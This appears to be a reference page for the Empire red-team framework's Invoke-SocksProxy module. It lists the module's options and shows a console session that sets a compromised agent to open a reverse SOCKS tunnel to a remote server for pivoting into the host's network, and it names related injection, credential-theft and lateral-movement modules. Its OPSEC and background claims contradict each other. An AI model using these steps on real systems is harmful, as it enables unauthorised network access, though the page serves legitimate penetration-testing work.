Invoke-SocksProxy - Empire Module

This page contains detailed information about how to use the powershell/management/invoke_socksproxy Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

---

Name: Invoke-SocksProxy
Module: powershell/management/invoke_socksproxy
Source code [1]: empire/server/modules/powershell/management/invoke_socksproxy.yaml
Source code [2]: empire/server/data/module_source/management/Invoke-SocksProxy.psm1
MITRE ATT&CK: T1090
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The reverse proxy creates a TCP tunnel by initiating outbound SSL connections that can go through the system's proxy. The tunnel can then be used as a socks proxy on the remote host to pivot into the local host's network.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_socksproxy module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

---

This is a list of options that are required by the invoke_socksproxy module:

Agent
Agent to run module on.

remoteHost
IP Address of the SocksProxy server.

remotePort
Remote Port for the SocksProxy server.
Default value: 443.

Additional Module Options

---

This is a list of additional options that are supported by the invoke_socksproxy module:

certFingerprint
Validate certificate.

maxRetries
Maximum number of retries for a handler.

useSystemProxy
Go through the system proxy.

Invoke_socksproxy Example Usage

---

Here's an example of how to use the invoke_socksproxy module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/invoke_socksproxy

 Author       @p3nt4                                                             
 Background   True                                                               
 Comments     This is only a subset of the Socks 4 and 5 protocols: It does not  
              support authentication                                             
              It does not support UDP or bind requests                           
              https://github.com/BC-SECURITY/Invoke-SocksProxy                   
 Description  The reverse proxy creates a TCP tunnel by initiating outbound SSL  
              connections that can go through the system's proxy. The tunnel can 
              then be used as a socks proxy on the remote host to pivot into the 
              local host's network.                                              
 Language     powershell                                                         
 Name         powershell/management/invoke_socksproxy                            
 NeedsAdmin   False                                                              
 OpsecSafe    True                                                               
 Techniques   http://attack.mitre.org/techniques/T1090                           


,Record Options---,-------,----------,---------------------------------,
| Name            | Value | Required | Description                     |
|-----------------|-------|----------|---------------------------------|
| Agent           |       | True     | Agent to run module on.         |
|-----------------|-------|----------|---------------------------------|
| certFingerprint |       | False    | Validate certificate            |
|-----------------|-------|----------|---------------------------------|
| maxRetries      |       | False    | Maximum number of retries for a |
|                 |       |          | handler.                        |
|-----------------|-------|----------|---------------------------------|
| remoteHost      |       | True     | IP Address of the SocksProxy    |
|                 |       |          | server.                         |
|-----------------|-------|----------|---------------------------------|
| remotePort      | 443   | True     | Remote Port for the SocksProxy  |
|                 |       |          | server.                         |
|-----------------|-------|----------|---------------------------------|
| useSystemProxy  |       | False    | Go through the system proxy     |
'-----------------'-------'----------'---------------------------------'

(Empire: usemodule/powershell/management/invoke_socksproxy) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/invoke_socksproxy) > set remoteHost value
[*] Set remoteHost to value
(Empire: usemodule/powershell/management/invoke_socksproxy) > set remotePort 443
[*] Set remotePort to 443
(Empire: usemodule/powershell/management/invoke_socksproxy) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

---

• @p3nt4

References

---

• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/invoke_socksproxy.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/management/Invoke-SocksProxy.psm1
• https://github.com/BC-SECURITY/Invoke-SocksProxy
• http://attack.mitre.org/techniques/T1090
• https://twitter.com/xP3nt4

See Also

---

Check also the following modules related to this module:

• python/management/multi/socks
• powershell/management/invoke_script
• powershell/management/invoke_sharpchisel
• powershell/lateral_movement/invoke_psexec
• powershell/lateral_movement/invoke_sqloscmd
• powershell/code_execution/invoke_metasploitpayload
• powershell/code_execution/invoke_ntsd
• powershell/code_execution/invoke_shellcodemsil
• powershell/code_execution/invoke_assembly
• powershell/code_execution/invoke_reflectivepeinjection
• powershell/code_execution/invoke_ironpython
• powershell/code_execution/invoke_clearscript
• powershell/code_execution/invoke_dllinjection
• powershell/code_execution/invoke_ironpython3
• powershell/code_execution/invoke_shellcode
• powershell/code_execution/invoke_ssharp
• powershell/code_execution/invoke_boolang
• powershell/exploitation/invoke_spoolsample
• powershell/credentials/invoke_kerberoast
• powershell/credentials/invoke_internal_monologue
• powershell/credentials/invoke_ntlmextract
• powershell/lateral_movement/invoke_psremoting
• powershell/lateral_movement/invoke_executemsbuild
• powershell/lateral_movement/invoke_dcom
• powershell/lateral_movement/invoke_portfwd
• powershell/lateral_movement/invoke_smbexec
• powershell/lateral_movement/invoke_wmi
• powershell/lateral_movement/invoke_wmi_debugger
• powershell/lateral_movement/invoke_sshcommand

Version

---

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.